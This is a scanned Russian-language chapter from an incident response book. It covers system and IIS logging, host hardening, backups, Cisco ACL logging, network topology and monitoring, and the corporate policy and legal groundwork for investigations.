Process Tracking (Отслеживание процессов) действует подобно отслежи-
ванию в системах UNIX и может привести к быстрому заполнению файлов
журналов.
Аудит действий (доступа) к файлам и каталогам Для отслеживания измене-
ний в правах доступа к файлам и каталогам необходимо иметь файловую сис-
тему NTFS. В Windows NT достаточно щелкнуть правой кнопкой мыши
любой файл или каталог и выбрать в контекстном меню пункт Properties
(Свойства). В диалоговом окне свойств выберите вкладку Security (Безопас-
ность), затем Auditing (Аудит) и увидите диалоговое окно (см. рис. 3.2).
Параметры в этом окне не требуют особых пояснений, но нужно отме-
тить, что два верхних флажка позволяют проводить аудит во всех вложен-
ных подкаталогах и файлах, находящихся внутри указанного каталога.
Рис. 3.2. Полномочия дли нудим файлов и каталогов

46
Глава 3
ВНИМАНИЕ В системе Windows 2000 политики аудита безопасности контроли-
руются из меню Administrative Tools (Администрирование) > Local
Security Policy (Локальная политика безопасности).
Установка режима удаленной регистрации Как и для журналов регистра-
ции в системах UNIX, атакующий может удалить файлы C:\WINNT\Sys
tem32\Config\*.evt, что приведет к полной очистке журнала отслеживания
событий. Как и в UNIX, рекомендуется хранить журнал на сетевом сервере
регистрации.
К сожалению, система Windows NT не поддерживает удаленную регист-
рацию событий, однако администратор может использовать сторонние
утилиты для проведения удаленной регистрации. Можно рекомендовать
бесплатную программу NTSyslog, которая пересылает сообщения о систем-
ных событиях, событиях безопасности и событиях приложений из локаль-
ного журнала на сервер удаленной регистрации syslog.
^ ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
NTSyslog: http://www.sabernet.net/software/ntsysLog.html
Настройка регистрации приложений
Кроме регистрации событий на хостах, существуют разнообразные журна-
лы регистрации приложений. Доступны множество таких журналов, но
каждый из них настраивается индивидуально. Рекомендуется при настрой-
ке журналов приложений:
Записывать сообщения в файл журнала, доступный только админист-
ратору.
Записывать сообщения в файл журнала, расположенный на безопас-
ном удаленном хосте.
Записывать как можно больше полезной информации --- не экономить
на дисковом пространстве!
Регистрировать IP адреса, а не доменные имена или имена NetBIOS.
В качестве примера рассмотрим возможности регистрации событий в
популярном приложении компании Microsoft --- Web сервере Internet Infor-
mation Server (IIS). Через управляющую консоль ММС (Microsoft
Management Console) свойства Web сайта (веб узла, по терминологии Mic-
rosoft) становятся доступными в окне Default Web Site Properties (Свойства
Web сайта по умолчанию), показанном на рис. 3.3. Для открытия данного
окна выполните Start (Пуск) | Programs (Программы) | Windows NT 4.0 Opti-
on Pack (Пакет обновления Windows NT 4.0) | Microsoft Internet Information
Server (Информационный сервер Интернета компании Microsoft). | Internet
Service Manager (Менеджер службы Интернета). Затем щелкните правой
кнопкой на Web сайте, свойства регистрации которого нужно изменить.
Видно, что по умолчанию регистрация допускается, но если вы пойдете
дальше, щелкнув на Properties (Свойства), то обнаружите, что разрешаются
не все доступные режимы регистрации (см. рис. 3.4).

Рис. 3.3. Параметры по умолчанию для регистрации событий на Web сервере IIS
Рис. З.4. Дополнительные возможности регистрации событий Web сервера IIS

48
Глава 3
Много полезной при расследовании инцидентов информации не реги-
стрируется в режиме по умолчанию, хотя сведения о количестве принятых
и отправленных байтах, а также о приеме файлов cookie, станут ключевы-
ми фактами при исследовании атаки на Web приложение. Если Web сервер
исполняет виртуальный сервер Интернета или несколько таких серверов,
полезно регистрировать данные об IP адресах и портах всех серверов.
Как и во многих других журналах регистрации, данные о событиях серве-
ра IIS записываются в текстовом виде. Поэтому при регистрации всех до-
ступных атрибутов будет тратиться слишком много дискового пространства.
Однако в случае сомнений лучше зарегистрировать избыточные данные,
чем не зарегистрировать нужную информацию.
Формирование индивидуальной защиты хоста
Если надежно защищены все хосты, можно избежать многих инцидентов
компрометации безопасности. При подготовке к инцидентам обязательно
должны учитываться индивидуальные средства защиты хостов. Действия
по увеличению безопасности хостов не только снизят вероятность инци-
дентов, но и упростят расследование после возникновения компьютерного
инцидента.
Предложим несколько рекомендаций для изучения способов защиты
хостов:
Проверьте, что используются последние версии операционной систе-
мы и приложений. Установите самые свежие файлы исправлений, па-
кеты обновления и исправления безопасности.
Отключите неиспользуемые службы. Если приложения или сетевая
служба не нужны, не следует их запускать. Ненужные программные
модули приводят только к ненужным рискам нарушения безопасности.
Внимательно отнеситесь к настройке конфигурационных параметров.
Многие уязвимости систем безопасности связаны только с ошибками
системных администраторов.
ВНИМАНИЕ Для подробного изучения конфигурирования защиты хостов следует
обратиться к книгам по этой тематике. Можно рекомендовать "Биб-
лию" о безопасности систем Unix --- Practical Unix and Internet Securi-
ty, 2nd Edition Симсона Гарфункеля (Simson Garfinkel) и Жене
Спаффорда (Gene Spafford) издательства O'Reilly & Associates, 1996;
книгу Maximum Linux Security: A Hacker's Guide to Protecting Your Linux
Server and Workstation (Sams, 1999) или Microsoft NT 4.0 Security,
Audit, and Control, Джеймса Джамса (James Jumes) и др. издательст-
ва Microsoft Press, 1998. Отличные информационные ресурсы опуб-
ликованы на таких порталах Интернета, посвященных безопасности,
как http://www.securityfocus.com и http://packetstorm.securify.com.

Подготовка к реагированию на компьютерный инцидент
49
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ:
Поддержка систем Solaris: http://sunsolve.sun.com
Microsoft Product Support Services (Службы поддержки программных
продуктов Microsoft): http://support.microsoft.com/support/download
Безопасность систем Red Hat: http://www.redhat.com/apps/support/updates.html
Безопасность систем Debian: http://www.debian.org/security
Безопасность систем Silicon Graphics: http://www.sgi.com.cn/tech/security/
security.html
Безопасность систем OpenBSD: http://www.openbsd.com/errata28.html
Безопасность систем FreeBSD: http://www.FreeBSD.org/security/index.htmL
Резервное копирование критически важных данных
Регулярное и полное резервное копирование системы поможет в выборе
стратегии реагирования на инцидент. Резервное копирование, как и контро-
льные суммы, позволяет выявить то, что было модифицировано, поскольку
проводится сравнение с "заведомо хорошей" копией файловой системы. Ре
зервное копирование поможет обнаружить удаленные или добавленные фай-
лы, что невозможно сделать с помощью контрольных сумм. Кроме того, неко-
торые архивные данные сопровождаются информацией о дате и времени,
что позволяет узнать о последнем доступе, изменении или создании файла,
либо каталога.
ВНИМАНИЕ Резервное копирование отличается от физического дублирования,
необходимого для сохранения фактов возникновения инцидента (см.
главу 5). Резервное копирование проводится во время обычного ад-
министрирования системы и в основном служит для восстановления
данных. Однако при расследовании инцидента резервная (архивная)
копия поможет успешнее провести исследование инцидента.
Доступны разнообразные средства резервного копирования, от встро-
енных утилит операционной системы до полномасштабных сторонних
продуктов. Рекомендуем бесплатные утилиты, которые рассматриваются
ниже.
Средства резервного копирования систем UNIX
В среде UNIX наиболее популярны утилиты dump, restore, cpio, tar и dd.
Каждая из них имеет собственные достоинства и недостатки. Основным не-
достатком большинства утилит резервного копирования является "сброс" ат
рибута времени последнего доступа, что неприемлемо при расследовании
инцидентов. Только системный дамп (утилита dump) позволяет сохранить все
три метки даты и времени, поэтому та программа считается наилучшей.
Преимущество tar состоит в хорошо известном формате создаваемого
файла, который понимает популярная программа WinZip. Утилита tar обла-
дает достаточной гибкостью, чтобы дополнительно записать данные о вре
мени последнего доступа (но при этом теряется информации о времени по
следнего изменения).

50
Глава 3
ВНИМАНИЕ Подробное изложение утилит резервного копирования UNIX можно
найти на справочных страницах (manual page) конкретной версии
UNIX или в книге UNIX Backup and Recovery В. Куртиса Престона (W.
Curtis Preston) и др. издательства O'Reilly & Associates, 1999.
Средства резервного копирования систем Windows
Системы Windows имеют разнообразные средства для резервного копирова-
ния и восстановления. В Windows 2000 утилита резервного копирования вхо-
дит в состав самой операционной системы и запускается командой Start
(Пуск) | Programs (Программы) | Accessories (Стандартные) | System Utilities
(Служебные) | Backup (Архивация данных). В Windows NT для резервного
копирования на магнитные ленты служит утилита NTBACKUP, из состава
NT Resource Kit. Еще одной системной утилитой является программа Bac-
kup, которая выполняет резервное копирование файлов и каталогов с диска
на диск.
Ограничения резервного копирования
Несмотря на несомненные достоинства резервного копирования, это сред-
ство не является панацеей при реакции на инциденты. Наиболее сущест-
венным недостатком остается невозможность восстановления системы на
заданный момент времени и в сжатые сроки. В процессе первоначального
исследования информация необходима сразу. Не так просто будет найти
схожую по аппаратной конфигурации неиспользуемую систему, чтобы вос-
становить некоторое состояние скомпрометированной системы из архива
резервного копирования. Иногда на это уходят дни и даже недели, а не
часы и минуты.
Кроме того, резервное копирование хорошо только как "исходная точка
отсчета". Если система была скомпрометирована, то неизвестно когда про-
ведено резервное копирование --- до или после инцидента. Если архивная
копия создана уже после атаки на систему, то при восстановлении будут
воссозданы все черные ходы и программы троянцы.
Еще одно замечание касается точности маркировки по дате и времени
проведения резервного копирования. В зависимости от условий проведе-
ния архивирования, не всегда сохраняется точность информации о време-
ни последнего доступа к файлам. Некоторые утилиты резервного копиро-
вания изменяют все данные о времени последнего доступа к файлам на
данные о времени проведения архивирования, т.е. удаляют потенциально
важную информацию.
ОСТОРОЖНО Архивные копии полезны только тогда, когда они реально доступны.
Резервные копии, хранящиеся в помещении сервера, станут беспо-
лезными в случае кражи, пожара, незаконных действий сотрудников
компании и т.д. Необходимо всегда хранить резервные копии в дру-
гом месте.
Несмотря на перечисленные выше недостатки, нельзя считать резервное
копирование бесполезным занятием. Если архивная копия создана из заведо
мо хорошего" состояния системы, имеет правильные данные о времени /дате

Подготовка к реагированию на компьютерный инцидент
51
доступа к файлам и может быть быстро восстановлена,, то такая резервная
копия станет прекрасным подспорьем для сравнения состояний системы
до и после инцидента.
Обучение пользователей защите на уровне хостов
Пользователи играют ключевую роль в общей системе безопасности. Дей-
ствия пользователей часто нарушают стройную систему мероприятий безо-
пасности, поэтому обучение пользователей является важным фактором
подготовки к инцидентам.
Пользователи должны знать о тех типах операций (и не использовать
их), которые опасны с точки зрения безопасности компьютера или при
подготовке к инцидентам. Пользователей следует обучить элементарным
методам оперативной реакции на инциденты. Обычно от пользователей
требуется только сообщить о предполагаемом инциденте по заранее уста-
новленному контактному адресу. В общем случае пользователи не должны
предпринимать никаких действий для самостоятельного расследования ин-
цидентов, поскольку они могут непреднамеренно уничтожить факты воз-
никновения инцидента или затруднить дальнейшее его расследование.
Особую опасность представляет сетевое ПО, установленное самими поль-
зователями. Некоторым сотрудникам захочется установить собственный
сервер Web или FTP без каких либо ограничений по авторизации или дол-
жных мер безопасности, что тут же скажется на общем уровне безопасности
всей компании.
НАГЛЯДНЫЙ ПРИМЕР
Во время проведения внешней атаки и тестирования на вторжение в од-
ном из известных банковских учреждений мы обнаружили вполне при
емлемый уровень мероприятий безопасности. По сути, мы даже не сразу
смогли полностью выявить все IP адреса. Даже когда мы это сделали, мы
смогли обнаружить только единственный действующий хост, на кото-
рый можно было проникнуть из Интернета ... но только двумя днями по-
зже. Нам повезло, что во время нашей атаки один из Пользователей, за-
щищенный двумя брандмауэрами в глубине локальной сети, решил
запустить собственный Web сервер. Он даже логически разместил его
вне одного из брандмауэров! Мы смогли быстро найти этот сервер и ис-
следовать его содержимое. Таким образом, все мероприятия безопасно-
сти по периметру локальной сети компании были полностью перечерк-
нуты действиями одного пользователя, который в свободное время
решил провести эксперимент с новым ПО.

52
Глава 3
ПОДГОТОВКА СЕТИ
Многие сетевые средства помогут реагировать на компьютерные инциден-
ты. По сути, необходима сетевая регистрация событий, которая во многих
случаях предоставит неоспоримые (а иногда и единственные) факты втор-
жения. Поэтому в реакции на инцидент важную роль играет сетевой адми-
нистратор.
Сетевой администратор отвечает за сетевую архитектуру и топологию,
поэтому может дать полный ответ на вопрос: "Какие системы могут быть
скомпрометированы во время инцидента?". Именно сетевой администра-
тор обслуживает брандмауэры, маршрутизаторы и системы выявления
вторжений IDS (intrusion detection systems), которые дают критически важ-
ные файлы журналов регистрации. Сетевой администратор поможет изме-
нить конфигурацию некоторых устройств для блокирования определен-
ных потоков трафика во время реакции на инцидент.
К сетевым мероприятиям безопасности относятся:
Установка брандмауэров и систем IDS
Использование списков управления доступом в маршрутизаторах
Создание сетевой топологии, облегчающей мониторинг
Шифрование сетевого трафика
Использование аутентификации
Установка брандмауэров и систем выявления вторжений
Если в сети присутствуют оптимально настроенные маршрутизаторы, IDS
и брандмауэры, то атакующий будет загнан в угол. Способ настройки этих
устройств зависит от целей, поставленных компанией при реакции на ин-
цидент. Можно запретить атаки определенного типа и не регистрировать
их проведение, либо разрешить проведение атаки и зарегистрировать все
данные о ней для дальнейшего изучения. Вне зависимости от поставлен-
ных целей настройка защитных устройств не будет простой и интуитивно
понятной. Основным принципом должна стать не только безопасность
сети, но и настройка защитных устройств для регистрации незаконных
действий.
Существует множество публикаций об особенностях конфигурирования
и усиления безопасности сети, среди которых книги и учебные пособия по
брандмауэрам и маршрутизаторам. Рассмотрим только наиболее важные
для реакции на инциденты операции настройки.
ВНИМАНИЕ Можно рекомендовать две отличные книги о брандмауэрах: Building
Internet Firewalls, 2nd Edition Элизабет Цвики (Elizabeth Zwicky) и др.
издательства O'Reilly & Associates, 2000, а также Firewalls: A Comple-
te Guide Маркуса Гонкалвеса (Marcus Goncalves) издательства
McGraw Hill, 1999. Много публикаций посвящены популярным мар-
шрутизаторам компании Cisco, например Cisco Access Lists Field
Guide Кента Хандли (Kent Hundley) издательства McGraw Hill, 2000

Подготовка к реагированию на компьютерный инцидент
53
Использование списков управления доступом
в маршрутизаторах
Наверное, наиболее наглядным примером усиления защитных возможно-
стей сетевых устройств являются широко используемые маршрутизаторы
Cisco. Эти устройства часто применяются в качестве защитных сетевых
устройств. Обычно маршрутизатор настраивается с помощью списка управ-
ления доступом ACL (access control list), который разрешает определенные
типы трафика, но запрещает потенциально опасный трафик. Типичный
список управления доступом в маршрутизаторе Cisco:
permit icmp any host 10.10.10.130 echo
permit icmp any host 10.10.10.130 echo reply
permit icmp any host 10.10.10.130 ttl exceeded
permit icmp any host 10.10.10.130 unreachable
permit udp any eq domain host 10.10.10.49
permit tcp any host 10.10.10.49 established
deny ip any any
Что может произойти
Атакующий проверяет безопасную сеть посредством сканирования всех ве-
роятных адресов хостов по 65535 портам TCP и UDP. На основе получен-
ных откликов из портов атакующий определяет правила фильтрации, уста-
новленные в маршрутизаторе.
Где искать факты
Если сетевой администратор обнаружит подозрительный трафик, отверга-
емый маршрутизатором, то станет понятно, что проводится атака, а также
можно узнать IP адрес источника атаки и другие ее характеристики. Эта ин-
формация может быть получена из маршрутизатора Cisco, работающего в
режиме регистрации. Необходимо установить удаленный сервер регистра-
ции syslog (см. раздел о регистрации в системах UNIX) и настроить марш-
рутизатор Cisco на соответствующий хост командой:
router# logging <iр_адрес>
Затем следует добавить слово log в список управления доступом, кото-
рый планируется контролировать:
deny ip any any log
После этого все нарушения правил фильтрации пакетов в маршрутиза-
торе Cisco будут регистрироваться на сервере syslog, что предоставит сете
вому администратору сведения о проведении атаки и посланных пакетах.
Использование протокола сетевого времени
Для упрощения анализа журналов регистрации необходимо согласовать те
кущее время на всех компьютерах с помощью протокола NTP (Network
Time Protocol, протокол сетевого времени). После согласования следует

54
ГлаваЗ
блокировать любой внешний доступ к порту этого протокола, поскольку
все компьютеры уже синхронизированы друг с другом. Теперь все регист-
рационные записи будут иметь согласованные метки времени для отсле-
живаемых событий. Это сократит бесцельные попытки вручную выявить
корреляции между временем в маршрутизаторе, брандмауэре, компьюте-
ре жертве и другом сетевом устройстве (следует заметить, что обнаружен-
ная недавно уязвимость протокола NTP запрещает использование службы
времени из Интернета).
Создание сетевой топологии,
помогающей проводить мониторинг
В случае инцидента важно точно знать сетевую топологию, чтобы быстро
выбрать оптимальную стратегию реакции. Без информации о сетевой то-
пологии вы сможете определить системы, которые могли быть скомпроме-
тированы во время инцидента. А без перечня потенциально измененных
систем нельзя выработать эффективный план реагирования на инцидент.
Что может произойти
Взломщик внедрил на скомпрометированном хосте сетевой анализатор (snif-
fer, т.е. аппаратное или программное средство для пассивного перехвата пе-
ремещающихся по сети пакетов). Теперь взломщик сможет узнать пароли и
перехватить важный сетевой трафик не только скомпрометированного хос-
та, но и любого компьютера, находящегося в скомпрометированной хостом
сети. Взломщик будет способен войти в любую систему, передающую по
скомпрометированной сети нешифрованный (т.е. пересылаемый открытым
текстом) трафик.
Где искать факты
Для реакции на такой инцидент нужно узнать, какие системы скомпромети-
рованы за счет перехвата имен пользователей и паролей. Удаление из сети
только скомпрометированного хоста не устранит последствий инцидента,
поскольку взломщик уже мог получить правильное имя пользователя и па-
роль для других систем. Пример данного инцидента показывает важность
хорошего знания сетевой топологии и наличия точной карты сети.
Создание сетевой топологической карты
Точная сетевая топологическая карта поможет во время реакции на инци-
дент. В идеальном случае такая карта должна содержать все сведения о хос-
тах сети и данные о сетевых соединениях (например, метод подключения
хоста, использование коммутаторов или маршрутизаторов, а также данные
о внешних подключениях к сети). Однако реальные сетевые топологиче-
ские карты для больших сетей не столь детальные, хотя в обязательном по-
рядке должны отражать критически важные области сети, например деми-
литаризованные (или санитарные) зоны DMZ (De Militarized Zone) или

Подготовка к реагированию на компьютерный инцидент
55
приложения электронной коммерции, работающие в Интернете. До инци-
дента команда реагирования должна проверить точность и соответствие
текущему состоянию всех сетевых топологических карт.
Создание карты сетевой архитектуры
Сетевая топологическая карта дает общее представление о логическом по-
строении сети. Однако на ней не отражены физическое местоположение и
физические связи хостов. А эта информация необходима для эффективной
реакции на инцидент. Для оперативного и правильного выполнения про-
цедуры реагирования на консоли скомпрометированного хоста или под-
ключения отвода для сетевого мониторинга необходимо точно знать реаль-
ные места размещения хостов и портов. Карта, отражающая физическую
архитектуру сети, ускорит реакцию на инцидент и будет необходимым до-
кументом в работах по подготовке к инцидентам.
Поддержка сетевого мониторинга
Как отмечено в главе 2, сетевой мониторинг является первым шагом, пред-
принимаемым во время реакции на инцидент. Для проведения мониторин-
га эта функция должна обеспечиваться сетевой архитектурой.
Для проведения мониторинга сети необходимо подключить специаль-
ное устройство к сетевому устройству, через которое проходит весь сете-
вой трафик. На практике это невозможно. Очень трудно подключиться к
концентратору или переключателю, если на нем нет свободных портов!
Иногда приходится сталкиваться с коммутируемыми сетями, в которых по
разным причинам недоступны радиальные порты (spanning port). Все эти
проблемы должны быть учтены на фазе подготовки к инциденту. Проверь-
те, что критически важные узлы сети (особенно точки доступа в Интернет
и демилитаризованные зоны DMZ) имеют свободные порты, позволяющие
получить доступ ко всему трафику определенного сегмента сети.
Шифрование сетевого трафика
Шифрование сетевого трафика усиливает безопасность любой сети. Для
шифрования обычно используются протоколы SSL (Secure Sockets Layer,
протокол безопасного соединения) и SSH (Secure Shell, безопасная оболоч-
ка). Протокол SSL служит для шифрования Web трафика, a SSH позволяет
проводить интерактивный вход в систему и пересылку файлов так, как это
делается в виртуальных частных сетях VPN (Virtual Private Network).
Это книга не о компьютерной безопасности, а о реакции на инциденты,
поэтому нужно заметить, что шифрование сетевого трафика усложняет вы
явление и исследование любых неавторизованных или незаконных сeтe
вых операций. Если атакующий использует протокол шифрования для до
ступа к системе, то бесполезными становятся сетевой мониторинг и
службы IDS. Существенно снижаются возможности реагирования на инци
дент и об этом нужно помнить во время разработки архитектуры безопас |
ности сети.

56
Глава 3
НАГЛЯДНЫЙ ПРИМЕР
Проводилось исследование безопасности сетевых подключений в круп-
ной компании. После консультации с сетевым администратором и изуче-
ния подробной диаграммы сети мы подключили тестовую систему к тому
же концентратору, который использовался службой выявления вторже-
ний IDS. Поэтому концентратор отбрасывал миллионы пакетов. Не было
никакой реакции на тестовые пакеты, поэтому мы стали изучать физиче-
скую архитектуру сети. Оказалось, что "действующая" служба IDS не была
подключена к сети и уже не получала никаких пакетов в течение несколь-
ких недель! Несмотря на подробную диаграмму, необходимо проверить
ее обычным тестированием!
Обязательная аутентификация
Аутентификация обеспечивает защиту на уровне хостов и на сетевом уровне.
Применение для аутентификации только имен и паролей весьма неэффектив-
но. Пару имя пользователя/пароль можно выявить простым перебором вари-
антов или даже узнать в компании, используя методы "социальной инжене-
рии". Необходима дополнительная аутентификация по протоколам Kerberos,
IP Security Protocol (IPSEC) или иным протоколам, дающим нечто большее,
чем доступ по имени и паролю. Именно это позволит надежно защитить сеть
от любых инцидентов.
В Интернете бесплатно распространяются множество протоколов аутен-
тификации, хотя они по разному влияют на возможности реагирования на
инциденты. Необходим протокол, не только повышающий уровень безопас-
ности сети, но и обеспечивающий эффективный аудит для команды реаги-
рования на инциденты.
УСТАНОВКА ПОДХОДЯЩЕЙ ПОЛИТИКИ
И ПРОЦЕДУР БЕЗОПАСНОСТИ
Рекомендуем вам прочитать этот раздел. Политика может способствовать
или препятствовать расследованию компьютерного инцидента, связанного
с нарушением безопасности.
Без учета действующей политики сотрудники не смогут ожидать обеспе-
чения своих гражданских прав, а руководство не сможет проводить мони-
торинг ежедневной работы сотрудников, знакомиться с почтовыми сооб-
щениями, анализировать привычки при перемещении в Web, получать
доступ к системам голосовой почты или узнавать о содержимом компью-
терных систем своих сотрудников.
Уволившийся сотрудник способен переслать по e mail важные промышлен-
ные секреты, а хакеры --- получить полный доступ к корпоративной сети.
Без установки правильной политики нельзя легально проводить монито-
ринг таких незаконных действий.

Подготовка к реагированию на компьютерный инцидент
57
После инцидента с нарушением безопасности расследование может пред-
полагать вторжение, например проведение мониторинга действий сотрудни-
ков или неавторизованных в сети взломщиков. Подготовка, планирование,
формирование правильной политики и другие внутренние мероприятия, с
которыми придется столкнуться, определяются целями, поставленными
при реакции на инцидент.
Определение положений вашей реакции
До разработки правил, с которыми придется мириться сотрудникам, необ-
ходимо определить положения по реакции на инциденты. Для организа-
ции важно знать о положении дел еще до возникновения инцидента. При-
нятая в компании политика определяет организационные процедуры и
первые шаги во время расследования инцидента.
Пример инцидента
В программистскую компанию нанят новый менеджер по безопасности.
Компания разрабатывает программное обеспечение, помогающее пользо-
вателям серверов Exchange 2000 удаленно управлять хранилищами ин-
формации и обслуживать массивные базы данных Exchange. Эти продук-
ты востребованы на рынке, поэтому перед компанией открываются
блестящие перспективы в будущем. Не много других компаний способно
предложить сравнимые по возможностям программные продукты, а соб-
ственные разработчики постоянно твердят о "существенном улучшении" и
"совершенно новом пакете". Компания имеет определенную интеллектуа-
льную собственность, которая дает преимущества во время следующего
цикла обновления программных продуктов.
Однако один из сотрудников внезапно увольняется без предваритель-
ного согласования сроков и каких то особых причин. Сотрудник возвра-
щает свой переносной ПК и громко хлопает дверью. Через пару дней об-
наруживается, что этот сотрудник занял руководящую должность в
конкурирующей компании. Мгновенно появляются многие вопросы.
Имел ли этот сотрудник доступ к важным исходным кодам? Не стали ли
они известны конкурентам? Было ли решение об увольнении спонтан-
ным, либо оно принималось несколько месяцев?
Можно ли найти на переносном ПК сотрудника исходные коды или
результаты обратной компиляции? Принята ли в компании политика,
позволяющая просматривать содержимое жестких дисков, которыми по-
льзуются сотрудники и будет ли эта политика согласована с правилами
конкуренции? Существует ли политика, позволяющая защитить интел-
лектуальную собственность компании?
Можете поверить, что руки устанут от работы за компьютером, а ак-
ции компании никогда не будут прежними. Владельцем переносного ПК
конечно же является компания, и этот компьютер останется ее собствен-
ностью. Однако не всегда разрешается проверять e mail сотрудника или
искать на жестком диске факты незаконной деятельности. Если в компа-
нии нет политики, защищающей интеллектуальную собственность и по
зволяющей проводить мониторинг действий сотрудников, то за разре
шением на это придется обращаться в суд, прокуратуру и другие
государственные органы. Скорее всего, поиск файлов будет запрещен.

58
:
Глава 3
Когда организация становится жертвой втржсния, aтаки отказа в обслу-
живании, внешней кражи интеллектуальной собственности или иного сете-
вого преступления в компьютерной области, реакция может быть такой:
Полностью игнорировать инцидент
Защититься от атак в будущем
Защититься от атак за счет выявления и ареста преступника (заключе-
ния в тюрьму или административного воздействия)
Провести надзор и сбор собственных данных
Можно выбрать один метод или пользоваться несколькими. Обычно
эксперты по компьютерной безопасности предпочитают быстро предот-
вратить последствия инцидента и провести технические мероприятия
для исключения подобных инцидентов в будущем. Органы правопорядка
и крупные организации с достаточным количеством людских и технических
ресурсов обычно проводят как технические мероприятия безопасности,
так и сбор фактов для идентификации виновников компьютерного пре-
ступления.
Но как выбрать правильную политику? Обычно в реакции на инциденты
нарушения компьютерной безопасности влияют четыре разных фактора:
Влияние инцидента на бизнес
Законодательные нормы и ограничения
Политические нормы и корпоративные правила
Технические возможности команды реагирования на инциденты
Одним словом, на реакцию влияет бизнес, закон, политика и техника.
Цели компании и органов правопорядка
Эксперты по компьютерной безопасности ставят перед собой несколько
иные цели, чем сотрудники правоохранительных органов. Корпоративной
Америке нужно продолжать свой бизнес и защитить свою репутацию, но
участие в расследовании представителей закона обычно негативно влияет
на обе эти цели. Необходимо найти "золотую середину" и согласовать меж-
ду собой цели компании и цели закона в пределах одной процедуры рассле-
дования инцидента. От выбранной компанией политики будет зависеть ре-
акция на инцидент. Весьма вероятно, что такая политика не подойдет для
любого инцидента нарушения компьютерной безопасности, когда в рассле-
довании будут участвовать органы правопорядка.
Учет требований бизнеса
Несомненно, что большая часть компаний выбирает стратегию реакции на
инцидент, учитывающую требования бизнеса. Когда сайт е коммерции будет
взломан для незаконной публикации на нем порнографии, то нужно ли ком-
пании искать виновника этого преступления? Возможно, компания решит

Подготовка к реагированию на компьютерный инцидент
59
сначала восстановить нормальную работу Web сайта. Потери от взлома бы-
вают явными и косвенными. Явный ущерб связан с потерями от временной
недоступности сайта для посетителей, а косвенные потери обусловлены
снижением репутации компании. С точки зрения бизнеса важнее первый
фактор, который и учитывается при выборе реакции на инцидент.
Если Web сайт является важным ресурсом компании, то можно провес-
ти сбор фактов инцидента и выявить взломщика сайта. Если же сайт не яв-
ляется критически важным ресурсом для деятельности компании, то доста-
точно просто усилить его безопасность. Опять же, решение принимается
на основе требований бизнеса.
Много времени и усилий можно сохранить, если заранее определить уро-
вень важности системы для конкретной компании, а также выбрать наиболее
подходящие для нее политики, процедуры и архитектуру системы безопасно-
сти. Реакция на неавторизированный доступ к рабочей станции секретарши
радикально отличается от реакции на незаконный доступ к компьютеру с
СУБД SQL Server, хранящему все данные о клиентах компании.
Учет действующего законодательства
В современном обществе строго придерживаются законов, поэтому необ-
ходима консультация с адвокатом, чтобы предпринимаемые администра-
тивные или юридические действия не превысили определенных законода-
тельством границ. Рекомендации адвоката могут поддержать или запретить
планируемые действия, но любые ограничения и советы должны быть пред-
ставлены в письменном виде. Помните, что юридическое обоснование по-
зволит защититься от любых административных или судебных нарушений.
Учет корпоративной политики
Корпоративная политика определяет все аспекты деятельности организа-
ции, поэтому влияет на реакцию во время инцидента. Корпоративная по-
литика диктует общую философию безопасности. Если в компании царит
дух взаимного доверия и каждому сотруднику обеспечена максимальная
свобода и гибкость в принятии решений, реакция на инциденты не имеет
большого значения. Возможно, в компании ощущается недостаток финан-
сирования на оборудование, программное обеспечение, обучение сотруд-
ников и тренировку персонала безопасности, что не позволяет адекватно
выполнять работы по безопасности. Однако если основным принципом
компании становится обеспечение безопасности и безопасность информа
ционных ресурсов, то реакция на инцидент может рассматриваться как
один из важных факторов, определяющих корпоративную политику.
ВНИМАНИЕ Помните, что корпоративная политика обычно не предполагает оди-
наковые требования ко всем сотрудникам. Персонал компьютерной
безопасности, скорее всего, должен игнорировать постоянное по-
сещение порнографических сайтов главным управляющим компа-
нии, даже если такие действия нарушают положения документа о
политике, подписанного этим управляющим две недели назад

60
Глава 3
Учет технических возможностей
Если в компании нет сотрудников с квалификацией, необходимой для сбора
данных о компьютерном инциденте, то как проводить расследование произо-
шедшего? А если в компании нет оборудования или необходимой для рассле-
дования конфигурации сети, то как адекватно зарегистрировать действия
взломщиков?
Для эффективной реакции на инцидент необходимо иметь квалифициро-
ванный персонал, знающий корпоративную политику и бизнес компании,
а также способный предоставить четкие и понятные сведения высшему
руководству организации. Не обладая достаточными знаниями, сотрудни-
ки могут предложить неверные решения.
Связь политики с расследованием инцидентов
Любая цель расследования инцидентов должна быть отражена в корпора-
тивной политике организации. Даже если политика не описана в соответст-
вующем документе, она все равно действует в компании. Отличие в том, что
она будет определяться местным и федеральным законодательством. Акт о
защите гражданских свобод в электронных коммуникациях (Electronic Com-
munications Privacy Act), Четвертая поправка (Fourth Amendment) и еще
множество федеральных и местных законов начинают действовать в том слу-
чае, когда в компании нет документа, регламентирующего использование
компьютеров. Поэтому существуют весомые аргументы в пользу того, чтобы
любые и все коммуникационные и сетевые операции считались частными.
ОСТОРОЖНО Мы не имеем юридического образования и не собираемся играть
роль адвокатов. Мы просто упомянули законы, связанные с реак-
цией на инциденты, но не рекомендуем использовать эту книгу, как
руководство по изучению законов о компьютерных инцидентах.
Расследование с операциями вторжения не должно проводиться без
юридического обоснования. Однако при правильно установленной в ком-
пании политике может проводиться корпоративное расследование в отно-
шении тех операций, с которыми обычно работают органы правопорядка
при наличии судебного постановления. Следовательно, должным образом
утвержденные приемлемые для использования политики AUP (Acceptable
Use Policies), следование юридическим рекомендациям, необходимые тех-
нические возможности и системы уведомления позволяют во время корпо-
ративного расследования пользоваться методами, которые не допускаются
в законодательном порядке по техническим или юридическим причинам
(системой уведомления --- bannered system --- называется вывод предупреди-
тельного сообщения пользователю компьютера при попытке входа в систе-
му). Такая политика позволит экономить время, а значит и деньги. Если
проследить всю цепочку наших рассуждений, то получится простой силло-
гизм: политика экономит деньги (и устраняет проблемы).
В частности, существуют четыре действия во время реакции на инци-
дент, которые требуют судебного утверждения для органов правопорядка.

Подготовка к реагированию на компьютерный инцидент
61
но допустимы в корпоративном расследовании. Перечислим ситуации, в кото-
рых корпоративная политика поможет команде реагирования на инциденты
преодолеть ограничения, налагаемые юриспруденцией:
Выполнение перехвата и отслеживание трафика в собственной сети
Проведение полномасштабного мониторинга в своей сети
Поиск и исследование компьютеров сотрудников
Координация действий с вышестоящими сайтами, участвующими
в инциденте
В главах 6 --- 8 будет рассматриваться сетевой мониторинг, включая тех-
нические мероприятия для перехвата и отслеживания трафика, а также
полномасштабного сетевого мониторинга. В главе 5 обсуждаются специфи-
